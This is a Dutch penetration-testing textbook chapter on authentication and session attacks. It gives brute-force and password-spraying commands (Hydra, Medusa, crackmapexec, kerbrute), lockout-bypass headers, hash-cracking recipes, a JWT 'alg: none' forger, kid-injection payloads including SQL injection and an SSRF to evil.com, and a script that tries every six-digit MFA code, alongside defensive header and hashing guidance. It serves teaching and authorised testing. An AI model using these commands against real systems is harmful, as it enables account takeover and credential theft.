Authenticatie en Sessiemanagement

In 1774 bouwde Joseph Bramah een slot dat zo ingenieus was dat hij een uitdaging publiceerde: wie het slot kon openen zonder de originele sleutel, zou tweehonderd guineas ontvangen. Het duurde zevenenzestig jaar voordat iemand dat deed. De Amerikaan Alfred Hobbs kraakte het slot in 1851, na zestien dagen onafgebroken prutsen, op de Great Exhibition in Londen. Het publiek was geschokt. Niet omdat het slot was gekraakt, maar omdat het zo lang had geduurd.

Bramah’s slot was een meesterwerk van mechanische complexiteit. Elke sleutel had achttien posities, elk met meerdere mogelijke dieptes. Het totale aantal combinaties was astronomisch voor die tijd. Het was, voor alle praktische doeleinden, onkraakbaar.

Laten we dat even vergelijken met de digitale sleutels die wij gebruiken. Uit elk onderzoek naar gelekte wachtwoorden komt telkens dezelfde beangstigende realiteit naar voren: de populairste wachtwoorden veranderen nauwelijks. “123456” staat al meer dan tien jaar op de eerste plaats. “password” staat consequent in de top vijf. “qwerty” is een evergreen.

Bramah besteedde jaren aan het ontwerpen van een slot met miljoenen mogelijke combinaties. Wij, met alle computerkracht van de eenentwintigste eeuw tot onze beschikking, kiezen collectief voor het equivalent van een deur op het nachtslot: het voelt alsof het dicht is, maar een stevige duw volstaat.

Dit hoofdstuk gaat over alles wat te maken heeft met de vraag “wie ben jij?” en het vervolgvraag “hoe weet ik dat je het nog steeds bent?”. Het gaat over authenticatie – het proces van identiteitsverificatie – en over sessiemanagement – het proces van het onthouden van die verificatie. En het gaat over alle manieren waarop beide kapotgaan.


12.1 Online brute force: de voordeur intrappen

De meest directe aanval op authenticatie is ook de meest elegantloze: probeer wachtwoorden totdat er een werkt. Brute force is de informatica-versie van elke sleutel aan de bos proberen. Het vereist geen intelligentie, geen creativiteit, en geen diep begrip van het doelsysteem. Het vereist alleen geduld en een goede woordlijst.

Online vs offline brute force

Het onderscheid is cruciaal:

Online brute force: Je probeert wachtwoorden tegen een live service. Elke poging vereist een netwerkverzoek. Dit is langzaam (honderden tot duizenden pogingen per seconde), detecteerbaar (elk mislukt verzoek genereert een logbericht), en vaak gelimiteerd (account lockout na X pogingen).

Offline brute force: Je hebt de wachtwoordhashes al bemachtigd (via SQL injection, database dump, of configuratiefout) en kraakt ze lokaal. Dit is snel (miljoenen tot miljarden pogingen per seconde met GPU), ondetecteerbaar (er is geen netwerkverkeer), en niet gelimiteerd (geen lockout).

In dit hoofdstuk richten we ons primair op online brute force bij webapplicaties. Offline cracking komt aan bod als je al toegang hebt tot hashes.

Hydra: de workhorse

THC Hydra is het Zwitserse zakmes van online brute force. Het ondersteunt tientallen protocollen en is het eerste hulpmiddel dat de meeste pentesters pakken.

SSH brute force:

hydra -L users.txt -P passwords.txt ssh://10.0.0.5 -t 4

HTTP POST login-formulier:

hydra -L users.txt -P passwords.txt 10.0.0.5 \
    http-post-form \
    "/login:username=^USER^&password=^PASS^:Invalid credentials" \
    -t 4

Laten we die laatste regel ontleden, want het formaat is een constante bron van verwarring:

"/login:username=^USER^&password=^PASS^:Invalid credentials"
  |         |                                |
  |         |                                └── Foutmelding in response
  |         └── POST-body met placeholders       (als je dit ziet: wachtwoord fout)
  └── URL van het loginformulier

De drie velden zijn gescheiden door dubbele punten. Het derde veld is de string die Hydra zoekt in de response om te bepalen of een poging is mislukt. Als die string ontbreekt in de response, beschouwt Hydra de poging als succesvol.

HTTP Basic Auth:

hydra -L users.txt -P passwords.txt 10.0.0.5 http-get /admin -t 4

Andere protocollen:

# RDP
hydra -L users.txt -P passwords.txt rdp://10.0.0.5 -t 4

# FTP
hydra -L users.txt -P passwords.txt ftp://10.0.0.5 -t 4

# SMB
hydra -L users.txt -P passwords.txt smb://10.0.0.5 -t 4

# MySQL
hydra -L users.txt -P passwords.txt mysql://10.0.0.5 -t 4

# MSSQL
hydra -L users.txt -P passwords.txt mssql://10.0.0.5 -t 4

De -t 4 parameter beperkt het aantal parallelle threads tot vier. Dit is niet alleen beleefd – het voorkomt account lockout. De meeste lockout-policies tellen mislukte pogingen binnen een tijdvenster. Vier threads houden het tempo laag genoeg om onder de radar te blijven.

Medusa: de alternatieve aanpak

Medusa is Hydra’s minder bekende neef. Het doet grotendeels hetzelfde, maar met een net iets andere syntax:

# SSH
medusa -h 10.0.0.5 -U users.txt -P passwords.txt -M ssh -t 4

# HTTP Basic Auth
medusa -h 10.0.0.5 -U users.txt -P passwords.txt -M http -m DIR:/admin -t 4

# RDP
medusa -h 10.0.0.5 -U users.txt -P passwords.txt -M rdp -t 4

# SMB
medusa -h 10.0.0.5 -U users.txt -P passwords.txt -M smbnt -t 4

Crowbar: de specialist

Crowbar (voorheen Levye) is gespecialiseerd in een handvol protocollen maar doet die uitzonderlijk goed. Voor RDP-brute force is het betrouwbaarder dan Hydra:

# RDP (betrouwbaarder dan Hydra voor RDP)
crowbar -b rdp -s 10.0.0.5/32 -U users.txt -C passwords.txt -n 1

# SSH key brute force
crowbar -b sshkey -s 10.0.0.5/32 -u root -k /path/to/keys/ -n 1

# OpenVPN
crowbar -b openvpn -s 10.0.0.5/32 -u admin -C passwords.txt \
    -c /path/to/config.ovpn

De -n 1 parameter beperkt de threads tot een, wat langzamer is maar veel minder kans op valse negatieven geeft bij RDP.

IB – Het command passwd_brute in de Command Library bevat voorbeeldcommando’s voor Medusa, Hydra, Crowbar en Ncrack. Elk commando is voorgeconfigureerd met vier threads (-t 4) om lockout te minimaliseren. De commando’s verwachten bestanden users.txt en passwords.txt – gebruik de IB Task Runner om eerst wachtwoordlijsten te genereren met de gen_passwords taak.

Rate limiting en lockout bypass

Elke fatsoenlijke applicatie implementeert een vorm van bescherming tegen brute force. De meest voorkomende methoden:

Account lockout: Na X mislukte pogingen wordt het account voor Y minuten vergrendeld. Typisch: 5 pogingen, 30 minuten lockout.

Bypass-strategieen: - Spray in plaats van brute: test een wachtwoord tegen vele accounts (zie 12.2) - IP-rotatie: Sommige lockouts zijn IP-gebonden; wissel van IP via proxy - Wacht op reset: Lockout telt binnen een tijdvenster; wacht dat af

Rate limiting: Beperkt het aantal requests per tijdseenheid, ongeacht de gebruiker.

Bypass-strategieen: - Headers manipulatie: Sommige rate limiters vertrouwen op headers:

X-Forwarded-For: 127.0.0.1
X-Real-IP: 10.0.0.1
X-Originating-IP: 192.168.1.1

CAPTCHA: De meest effectieve bescherming tegen geautomatiseerde aanvallen.

Bypass-strategieen: - Controleer of CAPTCHA alleen bij de eerste poging wordt gevraagd - Controleer of de CAPTCHA server-side wordt gevalideerd - Controleer of hetzelfde CAPTCHA-token herhaald kan worden


12.2 Password spraying: de slimme brute force

Klassieke brute force probeert duizenden wachtwoorden tegen een account. Password spraying draait dat om: het probeert een wachtwoord tegen duizenden accounts.

Het verschil is niet alleen tactisch – het is strategisch. Brute force triggert lockout-policies omdat het herhaaldelijk hetzelfde account bestookt. Spraying vermijdt lockout door elk account slechts een of twee keer te proberen per tijdvenster.

En het werkt. In elke organisatie van meer dan honderd medewerkers is er vrijwel altijd iemand die “Welkom01!” als wachtwoord heeft. Of “Zomer2026!”. Of “[Bedrijfsnaam]1!”. Het zijn wachtwoorden die net complex genoeg zijn om aan het wachtwoordbeleid te voldoen – een hoofdletter, een cijfer, een speciaal teken, acht karakters – maar voorspelbaar genoeg om te raden.

Waarom seizoensgebonden wachtwoorden een goudmijn zijn

Veel organisaties dwingen wachtwoordwijzigingen af elke 90 dagen. Het gevolg is voorspelbaar: mensen kiezen wachtwoorden die het seizoen of de maand bevatten, gevolgd door het jaar en een uitroepteken.

Lente2026!
Spring2026!
Zomer2026!
Summer2026!
Welkom2026!
Welcome2026!
Januari2026!

Dit is het directe resultaat van wachtwoordbeleid dat complexiteit afdwingt maar voorspelbaarheid niet meet. Het beleid zegt: “je wachtwoord moet minstens acht tekens bevatten, met een hoofdletter, een cijfer, en een speciaal teken.” Het beleid zegt niet: “je wachtwoord mag niet het huidige seizoen zijn, gevolgd door het jaartal, afgesloten met een uitroepteken.”

Het spray-protocol

Stap 1: Lockout policy controleren

Voordat je sprayt, moet je weten hoeveel pogingen je hebt. Dit is niet optioneel – het is essentieel. Zonder deze informatie kun je honderden accounts locken en een beveiligingsincident veroorzaken.

# Vanuit een domein-machine:
net accounts /domain

# Via crackmapexec (anoniem, als dat lukt):
crackmapexec smb 10.0.0.1 -u '' -p '' --pass-pol

# Via PowerView:
Get-DomainPolicy | select -ExpandProperty SystemAccess

Relevante waarden: - Lockout threshold: aantal pogingen voordat het account wordt vergrendeld - Lockout observation window: het tijdvenster waarin pogingen worden geteld - Lockout duration: hoe lang het account vergrendeld blijft

Stap 2: Gebruikersnamen verzamelen

Je hebt een lijst van geldige gebruikersnamen nodig. Meerdere methoden:

# Kerbrute user enumeration (genereert GEEN lockout-events!)
kerbrute userenum -d CONTOSO.LOCAL --dc 10.0.0.1 \
    /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

# LDAP query (als anonymous bind is toegestaan)
ldapsearch -x -H ldap://10.0.0.1 \
    -b "DC=contoso,DC=local" "(objectClass=user)" sAMAccountName \
    | grep sAMAccountName

# RID brute force via crackmapexec
crackmapexec smb 10.0.0.1 -u '' -p '' --rid-brute

Kerbrute is de voorkeursmethode: het genereert geen mislukte login-events in de eventlog, dus het triggert geen alarmen.

Stap 3: Spray – een wachtwoord per ronde

Het gouden principe: nooit meer dan een wachtwoord per lockout window.

# crackmapexec: de standaardtool voor AD spraying
crackmapexec smb 10.0.0.1 -u users.txt -p 'Zomer2026!' \
    -d CONTOSO --continue-on-success

# Kerbrute: sneller, minder logs
kerbrute passwordspray -d CONTOSO.LOCAL --dc 10.0.0.1 \
    users.txt 'Zomer2026!'

# Spray via WinRM (als poort 5985 open is)
crackmapexec winrm 10.0.0.1 -u users.txt -p 'Welkom01!' -d CONTOSO

# Spray via LDAP
crackmapexec ldap 10.0.0.1 -u users.txt -p 'Welkom01!' -d CONTOSO

De --continue-on-success flag is belangrijk: zonder deze flag stopt crackmapexec bij de eerste hit. Met de flag gaat het door, zodat je alle accounts met hetzelfde wachtwoord vindt.

Stap 4: Wacht, en spray opnieuw

Na elke ronde wacht je op het lockout window voordat je het volgende wachtwoord probeert:

# Geautomatiseerd spray-script met wachttijd
for pw in 'Zomer2026!' 'Welkom01!' 'Contoso2026!' 'Password1!'; do
    echo "[$(date)] Spray: $pw"
    crackmapexec smb 10.0.0.1 -u users.txt -p "$pw" \
        -d CONTOSO --continue-on-success
    echo "[$(date)] Wacht 35 minuten voor volgende ronde..."
    sleep 2100  # 35 minuten
done

De wachttijd van 35 minuten is een veiligheidsmarge boven het typische lockout window van 30 minuten. Beter vijf minuten langer wachten dan honderden accounts locken.

IB – Het command passwd_spray bevat het volledige spray-protocol: lockout policy ophalen, usernames enumereren, spray-commando’s voor SMB, WinRM en LDAP, en een spray-script met ingebouwde wachttijd. De veelgebruikte seizoensgebonden wachtwoorden staan erin als startpunt. Pas ze aan naar de taal en naamgeving van de doelorganisatie.


12.3 Woordlijsten: de munitie

Een brute force-aanval is slechts zo goed als zijn woordlijst. Met een slechte lijst kun je uren draaien zonder resultaat. Met een goede lijst heb je binnen minuten een hit.

De klassieken

RockYou: De woordlijst die uit een datalek van 2009 komt en sindsdien de standaard is geworden. Ruim 14 miljoen unieke wachtwoorden, gesorteerd op frequentie. Als je een brute force start zonder na te denken, is RockYou een redelijk startpunt.

# Locatie op Kali Linux:
/usr/share/wordlists/rockyou.txt

SecLists: Een gecureerde collectie van woordlijsten voor beveiligingstesting. Bevat wachtwoorden, gebruikersnamen, URL-patronen, en meer.

# Wachtwoorden:
/usr/share/seclists/Passwords/Common-Credentials/
/usr/share/seclists/Passwords/Default-Credentials/

# Gebruikersnamen:
/usr/share/seclists/Usernames/Names/names.txt

Maatwerk woordlijsten met CeWL

CeWL (Custom Word List generator) scrapt een website en bouwt een woordlijst op basis van de woorden die erop staan. Dit is bijzonder effectief bij bedrijfsspecifieke wachtwoorden:

# Scrape de bedrijfswebsite, 3 niveaus diep, minimaal 5 karakters
cewl https://target-company.nl -d 3 -m 5 -w cewl_wordlist.txt

# Met e-mailadressen (handig voor gebruikersnamen)
cewl https://target-company.nl -d 3 -m 5 \
    -e --email_file emails.txt -w cewl_wordlist.txt

# Met metadata uit documenten
cewl https://target-company.nl --meta --meta_file meta.txt \
    -w cewl_wordlist.txt

Een bedrijf dat “Horizon” heet, gevestigd in Amsterdam, met een product genaamd “SkyView”, zal medewerkers hebben met wachtwoorden als “Horizon2026!”, “SkyView1!”, “Amsterdam01!”. CeWL vindt die woorden op de website, en vervolgens kunnen we ze muteren.

Patroongebaseerde lijsten met Crunch

Crunch genereert woordlijsten op basis van patronen. Als je weet hoe het wachtwoordbeleid eruitziet, kun je gerichte lijsten genereren:

# Syntax: crunch <min_lengte> <max_lengte> <charset> -o output.txt

# Bedrijfsnaam + 2 cijfers + speciaal teken
# @ = lowercase, , = uppercase, % = nummer, ^ = symbool
crunch 10 10 -t Company%%^^ -o company_passwords.txt
# Genereert: Company00!!, Company01!", Company02!#, ...

# Alle 6-cijferige pincodes
crunch 6 6 0123456789 -o pins.txt
# Genereert: 000000 t/m 999999

# Naam + 4 cijfers
crunch 8 8 -t @@@@%%%% -o names_numbers.txt
# Genereert: aaaa0000 t/m zzzz9999

Waarschuwing: crunch kan enorme lijsten genereren. crunch 8 8 aA1! genereert alle combinaties van 8 tekens uit het charset aA1! – dat zijn 4^8 = 65.536 mogelijkheden. Lijkt beheersbaar. Maar crunch 8 8 abcdefghijklmnopqrstuvwxyz genereert 26^8 = 208.827.064.576 mogelijkheden. Dat is meer dan tweehonderd miljard regels.

Wachtwoord mutatie regels

De echte kracht zit in het muteren van bestaande woorden. John the Ripper en Hashcat hebben ingebouwde regel-engines die een woord systematisch transformeren:

# John the Ripper rules
john --wordlist=base_words.txt --rules=best64 --stdout > mutated.txt
john --wordlist=base_words.txt --rules=KoreLogic --stdout > mutated.txt

# Hashcat rules
hashcat -r /usr/share/hashcat/rules/best64.rule \
    --stdout base_words.txt > mutated.txt

# Meerdere regelsets combineren
hashcat -r rule1.rule -r rule2.rule --stdout base_words.txt > mutated.txt

Wat doen deze regels? Ze nemen een basiswoord en passen transformaties toe:

Invoer Regel Uitvoer
horizon Capitalize Horizon
horizon Append 123 horizon123
horizon Capitalize + append ! Horizon!
horizon Capitalize + append 2026! Horizon2026!
horizon l33tspeak h0r1z0n
horizon Reverse noziroh
horizon Duplicate horizonhorizon

De best64 regelset bevat de 64 meest effectieve transformaties. De KoreLogic regelset is uitgebreider maar langzamer. En dan is er OneRuleToRuleThemAll – een gecombineerde regelset die beweert de meest effectieve set ooit te zijn.

# De meest nuttige ingebouwde regelsets:
/usr/share/hashcat/rules/best64.rule
/usr/share/hashcat/rules/rockyou-30000.rule
/usr/share/hashcat/rules/OneRuleToRuleThemAll.rule

Het optimale recept

Combineer alle technieken voor de meest effectieve aanpak:

# 1. Scrape de bedrijfswebsite
cewl https://target-company.nl -d 3 -m 5 -w base_words.txt

# 2. Voeg seizoensgebonden patronen toe
crunch 10 12 -t Horizon%%^^ >> base_words.txt
crunch 10 12 -t Zomer%%%%^^ >> base_words.txt

# 3. Muteer alles
hashcat -r /usr/share/hashcat/rules/best64.rule \
    --stdout base_words.txt | sort -u > final_wordlist.txt

# 4. Gebruik de lijst
hydra -L users.txt -P final_wordlist.txt 10.0.0.5 \
    http-post-form \
    "/login:user=^USER^&pass=^PASS^:Invalid" -t 4

IB – Het command passwd_wordlist bevat het volledige recept: CeWL voor website-scraping, Crunch voor patroongebaseerde generatie, en John/Hashcat rules voor mutatie. De IB Task Runner heeft de taak gen_passwords die automatisch wachtwoordvariaties genereert naar meuk/wordlists/passwords.txt. Start deze taak vanuit het Tasks-dashboard voordat je een brute force begint.


12.4 Offline hash cracking

Wanneer je database-toegang hebt verkregen (via SQL injection, een dump, of een configuratiefout), en de wachtwoorden zijn gehasht, schakel je over naar offline cracking. Dit is ordes van grootte sneller dan online brute force.

John the Ripper

# Basis: woordlijst-aanval
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Met regels voor mutatie
john --wordlist=/usr/share/wordlists/rockyou.txt \
    --rules=best64 hashes.txt

# Resultaten bekijken
john --show hashes.txt

Hashcat

Hashcat is sneller dan John, vooral met GPU-ondersteuning. Het mode-nummer geeft het hash-type aan:

# NTLM hashes (mode 1000)
hashcat -m 1000 ntlm_hashes.txt \
    /usr/share/wordlists/rockyou.txt

# Kerberoast TGS hashes (mode 13100)
hashcat -m 13100 tgs_hashes.txt \
    /usr/share/wordlists/rockyou.txt

# AS-REP hashes (mode 18200)
hashcat -m 18200 asrep_hashes.txt \
    /usr/share/wordlists/rockyou.txt

# NetNTLMv2 hashes (mode 5600)
hashcat -m 5600 netntlm_hashes.txt \
    /usr/share/wordlists/rockyou.txt

# Met regels
hashcat -m 1000 hashes.txt \
    /usr/share/wordlists/rockyou.txt \
    -r /usr/share/hashcat/rules/best64.rule
Hash type Hashcat mode Typische snelheid (RTX 4090)
MD5 0 ~160 miljard/s
SHA-256 1400 ~22 miljard/s
bcrypt (cost 10) 3200 ~180 duizend/s
NTLM 1000 ~300 miljard/s
NetNTLMv2 5600 ~12 miljard/s

Kijk naar die cijfers. MD5 en NTLM: honderden miljarden pogingen per seconde. Bcrypt: honderdtachtigduizend. Dat verschil – een factor van bijna twee miljoen – is het verschil tussen een veilig en een onveilig opgeslagen wachtwoord. Bcrypt is niet beter omdat het wiskundig eleganter is. Het is beter omdat het langzaam is.


12.5 Sessiemanagement: het geheugen van het web

HTTP is stateless. De server onthoudt niets tussen twee requests. Dit is een fundamentele ontwerpkeuze die het web schaalbaar maakt, maar die ook betekent dat we een kunstmatig geheugen moeten bouwen bovenop een protocol dat collectief geheugenverlies heeft.

Dat geheugen noemen we een sessie, en de sleutel tot dat geheugen noemen we een session token.

Session tokens: entropie en voorspelbaarheid

Een session token moet drie eigenschappen hebben:

  1. Voldoende entropie: Het moet onmogelijk zijn om het token te raden. Minimaal 128 bits aan randomness.
  2. Onvoorspelbaarheid: Het volgende token mag niet afleidbaar zijn uit voorgaande tokens.
  3. Uniciteit: Elk token mag maar een keer voorkomen.

Slechte session tokens die we in het wild zijn tegengekomen:

# Sequentieel
session_id=10001
session_id=10002
session_id=10003

# Timestamp-based
session_id=1708765432
session_id=1708765433

# Base64-encoded user info
session_id=YWRtaW46dHJ1ZQ==     # base64("admin:true")
session_id=dXNlcjpmYWxzZQ==     # base64("user:false")

# MD5 van username
session_id=21232f297a57a5a743894a0e4a801fc3  # md5("admin")

Elk van deze tokens is voorspelbaar of manipuleerbaar. Een sequentieel token betekent dat je de sessie van de volgende gebruiker kunt raden. Een timestamp-based token kun je berekenen als je het tijdstip van inloggen weet. Een base64-encoded token kun je decoderen en wijzigen.

Session fixation

Bij session fixation dwingt de aanvaller een bekend session token op aan het slachtoffer voordat het slachtoffer inlogt:

1. Aanvaller bezoekt de site en ontvangt session_id=ABC123
2. Aanvaller stuurt link naar slachtoffer:
   https://target.com/login?session_id=ABC123
3. Slachtoffer klikt, logt in
4. De server koppelt het bestaande session_id=ABC123 aan de ingelogde sessie
5. Aanvaller gebruikt session_id=ABC123 — is nu ingelogd als slachtoffer

De fix is simpel: genereer altijd een nieuw session token na succesvolle authenticatie. Nooit hergebruiken.

Session hijacking

Session hijacking is het stelen van een actief session token. Methoden:

De HttpOnly flag op cookies voorkomt dat JavaScript ze kan lezen, wat XSS- gebaseerde session hijacking blokkeert. De Secure flag voorkomt dat cookies over onversleutelde verbindingen worden verstuurd.

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/

Elke sessiecookie zonder deze drie flags (HttpOnly, Secure, SameSite) is een bevinding.


12.6 JWT-aanvallen: de token die zichzelf vertrouwt

JSON Web Tokens (JWTs) zijn een populair alternatief voor server-side sessies. In plaats van een sessie-ID die verwijst naar data op de server, bevat een JWT de data zelf, ondertekend met een geheim.

Een JWT bestaat uit drie delen, gescheiden door punten:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoic3VwZXJ1c2VyIn0.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Gedecodeerd:

// Header
{"alg": "HS256", "typ": "JWT"}

// Payload
{"user": "admin", "role": "superuser"}

// Signature
HMACSHA256(base64(header) + "." + base64(payload), secret)

De server verifieert de signature om te bevestigen dat de payload niet is gewijzigd. Maar er zijn meerdere manieren om dit te omzeilen.

Aanval 1: Algorithm None

De JWT-specificatie ondersteunt een alg: "none" optie, die de signature overslaat. Als de server dit accepteert:

// Origineel
{"alg": "HS256", "typ": "JWT"}

// Gewijzigd
{"alg": "none", "typ": "JWT"}
import base64
import json

# Header: algorithm none
header = base64.urlsafe_b64encode(
    json.dumps({"alg": "none", "typ": "JWT"}).encode()
).rstrip(b'=').decode()

# Payload: maak jezelf admin
payload = base64.urlsafe_b64encode(
    json.dumps({"user": "attacker", "role": "admin"}).encode()
).rstrip(b'=').decode()

# Signature: leeg (want alg=none)
forged_jwt = f"{header}.{payload}."
print(forged_jwt)

Aanval 2: Algorithm Confusion (RS256 naar HS256)

Als de server RS256 (asymmetrisch) gebruikt maar ook HS256 (symmetrisch) accepteert, kun je de publieke sleutel (die openbaar is) gebruiken als HMAC-secret:

Normaal (RS256):
  - Server signeert met PRIVATE key
  - Server verifieert met PUBLIC key

Aanval (HS256):
  - Aanvaller signeert met de PUBLIC key als HMAC-secret
  - Server verifieert met de PUBLIC key als HMAC-secret
  - Signature klopt!

Dit werkt omdat bij HS256 dezelfde sleutel voor signen en verifieren wordt gebruikt. Als de server de publieke RSA-sleutel gebruikt voor verificatie en het algoritme wordt gewijzigd naar HS256, gebruikt de server die publieke sleutel als HMAC-secret – en de aanvaller kent die sleutel.

Aanval 3: Weak Secrets

Veel JWT-implementaties gebruiken simpele strings als HMAC-secret:

# Crack JWT secret met hashcat
hashcat -m 16500 jwt_token.txt /usr/share/wordlists/rockyou.txt

# Of met jwt_tool
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt

Veelgebruikte zwakke secrets: secret, password, key, 12345678, de bedrijfsnaam, of de naam van het framework.

Aanval 4: KID injection

Het kid (Key ID) veld in de JWT-header vertelt de server welke sleutel hij moet gebruiken voor verificatie. Als deze waarde niet wordt gevalideerd:

// SQL Injection in kid
{"alg": "HS256", "kid": "1' UNION SELECT 'known-secret' -- ", "typ": "JWT"}

// Path traversal in kid
{"alg": "HS256", "kid": "/dev/null", "typ": "JWT"}
// Secret wordt gelezen uit /dev/null = leeg = sign met lege string

// SSRF in kid
{"alg": "HS256", "kid": "https://evil.com/key.txt", "typ": "JWT"}

IB – Voor JWT-analyse gebruik je tools als jwt_tool of jwt.io. Controleer altijd: accepteert de server alg: "none"? Is het HMAC-secret te kraken? Kan het kid-veld worden gemanipuleerd? Dit zijn de drie meest voorkomende JWT-kwetsbaarheden en ze komen vaker voor dan je zou verwachten.


12.7 Multi-factor authenticatie bypass

MFA is de gouden standaard van authenticatie. Maar “gouden standaard” betekent niet “onkwetsbaar”. Er zijn meerdere manieren om MFA te omzeilen.

Race conditions

Sommige MFA-implementaties controleren de code asynchroon. Als je meerdere requests tegelijk stuurt met verschillende codes:

import asyncio
import aiohttp

async def try_code(session, code):
    async with session.post('https://target.com/mfa/verify',
                           json={'code': code},
                           cookies={'session': 'abc123'}) as resp:
        if resp.status == 200:
            text = await resp.text()
            if 'success' in text.lower():
                print(f'Code gevonden: {code}')

async def main():
    async with aiohttp.ClientSession() as session:
        # Genereer alle mogelijke 6-cijferige codes
        tasks = [try_code(session, f'{i:06d}') for i in range(1000000)]
        # Stuur ze allemaal tegelijk (in batches)
        for batch in [tasks[i:i+100] for i in range(0, len(tasks), 100)]:
            await asyncio.gather(*batch)

asyncio.run(main())

Dit werkt als de server de rate limiting per-code in plaats van per-sessie implementeert, of als de rate limiting simpelweg ontbreekt op het MFA-endpoint.

Response manipulation

Sommige applicaties controleren MFA client-side in plaats van server-side. Intercept de response en wijzig het resultaat:

Originele response:
{"success": false, "message": "Invalid code"}

Gemanipuleerde response:
{"success": true, "message": "Valid code"}

Als de applicatie op basis van deze response beslist of je wordt doorgelaten, ben je binnen.

Backup codes en herstelmechanismen

MFA-herstelmechanismen zijn vaak de zwakste schakel:


12.8 Security headers: het schild van de server

HTTP security headers zijn de eerste verdedigingslinie. Ze kosten niets om te implementeren, voegen geen complexiteit toe aan de code, en beschermen tegen een breed scala aan aanvallen. En toch ontbreken ze op een verbijsterend percentage van de websites die we testen.

De essentials

HSTS (HTTP Strict Transport Security)

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Vertelt de browser: “Gebruik alleen HTTPS. Altijd. Geen uitzonderingen.” Voorkomt SSL-stripping aanvallen en onbedoeld HTTP-verkeer.

X-Content-Type-Options

X-Content-Type-Options: nosniff

Voorkomt dat de browser het content-type raadt (MIME-sniffing). Zonder deze header kan een browser een geupload bestand dat eruitziet als een afbeelding maar JavaScript bevat, als script uitvoeren.

X-Frame-Options

X-Frame-Options: DENY

Voorkomt dat de pagina in een iframe kan worden geladen. Beschermt tegen clickjacking (zie Hoofdstuk 11).

Content-Security-Policy

Content-Security-Policy: default-src 'self';
    script-src 'self';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data:;
    frame-ancestors 'none';

De meest uitgebreide security header. CSP definieert welke bronnen de browser mag laden voor elk type content. Een restrictieve CSP blokkeert XSS, data- exfiltratie, en clickjacking in een keer.

Referrer-Policy

Referrer-Policy: strict-origin-when-cross-origin

Beperkt welke informatie de browser meestuurt in de Referer header. Voorkomt dat interne URL-structuren lekken naar externe sites.

Permissions-Policy

Permissions-Policy: camera=(), microphone=(), geolocation=()

Blokkeert toegang tot gevoelige browser-API’s. Voorkomt dat een XSS-payload de webcam of microfoon activeert.

Elke sessiecookie moet drie flags hebben:

Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Lax; Path=/
Flag Beschermt tegen Effect
Secure Network sniffing Cookie wordt alleen via HTTPS verstuurd
HttpOnly XSS-cookie-diefstal JavaScript kan het cookie niet lezen
SameSite=Lax CSRF Cookie wordt niet meegestuurd bij cross-site POST

12.9 De IB Task Runner voor brute force

Incompetent Bastard bevat een Task Runner die je brute force-aanvallen laat starten en monitoren vanuit het dashboard. De Task Runner is geimplementeerd in meuk/flask/tasks.py en gebruikt een allowlist-model: alleen voorgedefinieerde taken kunnen worden uitgevoerd.

Architectuur van de Task Runner

De Task Runner is bewust restrictief ontworpen:

# Alleen deze taken kunnen worden uitgevoerd
_TASKS = {
    "gen_passwords": {
        "label": "Generate password wordlist",
        "group": "brute",
        "cmd": ["bash", "gen_passwords.sh"],
    },
    "brute_ssh": {
        "label": "Brute force SSH",
        "group": "brute",
        "cmd": ["bash", "brute_ssh.sh"],
        "args": [
            {"name": "scanfile", "pattern": "safe_name", "required": True},
        ],
    },
    "brute_rdp": {
        "label": "Brute force RDP",
        "group": "brute",
        "cmd": ["bash", "brute_rdp.sh"],
        "args": [
            {"name": "scanfile", "pattern": "safe_name", "required": True},
        ],
    },
    "brute_vpn": {
        "label": "Brute force VPN",
        "group": "brute",
        "cmd": ["bash", "brute_vpn.sh"],
        "args": [
            {"name": "scanfile", "pattern": "safe_name", "required": True},
        ],
    },
    # ...
}

Elk argument wordt gevalideerd met een regex-patroon:

_RE_SAFE_NAME = re.compile(r"^[a-zA-Z0-9_\-]+$")    # Alfanumeriek + _ -
_RE_IP_OR_IFACE = re.compile(r"^[a-zA-Z0-9._:/%\-]+$")  # IP-adressen, interfaces

Dit voorkomt command injection: een aanvaller kan geen shell-metacharacters (; | & $) injecteren via de argumenten. Bovendien draait elke taak met shell=False, wat betekent dat het commando direct wordt uitgevoerd zonder een shell als tussenlaag.

Brute force starten via het dashboard

1. Open het IB dashboard: http://127.0.0.1:5000
2. Navigeer naar Tasks
3. Selecteer de "Brute Force" groep
4. Klik op "Generate password wordlist" → Start
5. Wacht tot de woordlijst is gegenereerd
6. Klik op "Brute force SSH" (of RDP, of VPN)
7. Vul de scan naam in (bijv. "pentest-2026")
8. Klik op Start

Output monitoren via de API

De Task Runner biedt een REST API voor het opvragen van de status:

# Start een taak
curl -X POST http://127.0.0.1:5000/api/tasks/run \
    -H "Content-Type: application/json" \
    -d '{"task": "brute_ssh", "args": {"scanfile": "engagement-name"}}'

# Response:
# {"run_id": "a1b2c3d4-...", "task": "brute_ssh"}

# Controleer de status
curl http://127.0.0.1:5000/api/tasks/runs/a1b2c3d4-...

# Response bevat: status, output, return_code

De output wordt opgeslagen in een deque van maximaal 500 regels (_MAX_OUTPUT_LINES = 500). Taken hebben een maximale runtime van 600 seconden (_MAX_RUNTIME_SECONDS = 600) en worden daarna automatisch afgebroken.

IB – De Task Runner’s brute force-taken verwachten dat de scan-resultaten al bestaan (via een eerdere scan-taak). De workflow is: scan (nmap) -> search (filter op services) -> gen_passwords (woordlijst) -> brute_ssh/brute_rdp/brute_vpn. Elke stap bouwt voort op de vorige. De weak_ssh taak test specifiek op Debian weak SSH keys – een kwetsbaarheid uit 2008 die verbazingwekkend genoeg nog steeds in het wild voorkomt.


12.10 Verdediging: de complete authenticatie-checklist

Wachtwoordopslag

Methode Veilig? Reden
Plain text Nee Eendatalek = alles gelekt
MD5 Nee Te snel, rainbow tables bestaan
SHA-256 Nee Te snel, geen salt
SHA-256 + salt Matig Beter, maar nog steeds te snel
bcrypt (cost 10+) Ja Opzettelijk langzaam, ingebouwde salt
Argon2id Ja Winnaar Password Hashing Competition; memory-hard
scrypt Ja Memory-hard, CPU-hard

De juiste keuze in 2026 is Argon2id of bcrypt. Alles anders is een bevinding.

Wachtwoordbeleid

